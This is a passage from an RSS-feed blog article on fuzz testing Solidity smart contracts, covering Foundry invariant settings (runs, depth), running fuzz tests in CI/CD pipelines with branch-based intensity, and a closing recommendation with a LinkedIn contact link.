&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[invariant]&lt;/span&gt;
&lt;span class="py"&gt;runs&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
&lt;span class="py"&gt;depth&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;runs&lt;/code&gt;: Number of times that a sequence of function calls is generated and run.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;depth&lt;/code&gt;: Number of function calls made in a given &lt;code&gt;run&lt;/code&gt;. Invariants are asserted after each function call is made. If a function call reverts, the &lt;code&gt;depth&lt;/code&gt; counter still increments.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Keep in mind that increasing these parameters directly impacts the total number of executions and test duration. Larger values provide deeper coverage but require more time and resources. You should balance these settings based on the security requirements of your protocol and the available testing infrastructure.&lt;/p&gt;

&lt;h3&gt;
  
  
  Integrate Your Fuzzing Tests into CI/CD
&lt;/h3&gt;

&lt;p&gt;Running fuzzing tests locally is a great way to catch bugs early. However, integrating them into your CI/CD pipeline, especially on PR branches, can significantly improve code quality.&lt;/p&gt;

&lt;p&gt;As we saw, you can run fuzz testing with thousands iterations or with billion. The scaled will not be the same nor the time needed. A potential idea could be to define dedicated policies based on the branch and the maturity of the project. Indeed, when pushing to a feature branch, you may only need to execute quick fuzzing test on outlier value. While on master, before heading into production, you may want to test it intensively. This approach balances rapid feature development with reliable deployment.&lt;/p&gt;

&lt;p&gt;But, again, it will depend on the resource available and how you want to manage your workflow depending on the security and speed you want.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this article, we explored what fuzz testing is and how you can integrate it into your Solidity development workflow. While fuzzing does not replace traditional unit tests, it significantly strengthens your testing strategy, especially for uncovering unexpected edge cases and ensuring protocol robustness before mainnet deployment.&lt;/p&gt;

&lt;p&gt;If you're aiming to build a secure and modern smart contract development pipeline, incorporating fuzzing is essential. Integrating it into your CI/CD processes is a straightforward and highly effective step.&lt;/p&gt;

&lt;p&gt;If you need guidance or support in setting up fuzzing tests in your project, feel free to &lt;a href="https://www.linkedin.com/in/regis-graptin/" rel="noopener noreferrer"&gt;connect with me on LinkedIn&lt;/a&gt;. Will be happy to discuss about your project and see how we can collaborate.&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>blockchain</category>
      <category>web3</category>
      <category>security</category>
    </item>
  </channel>
</rss>
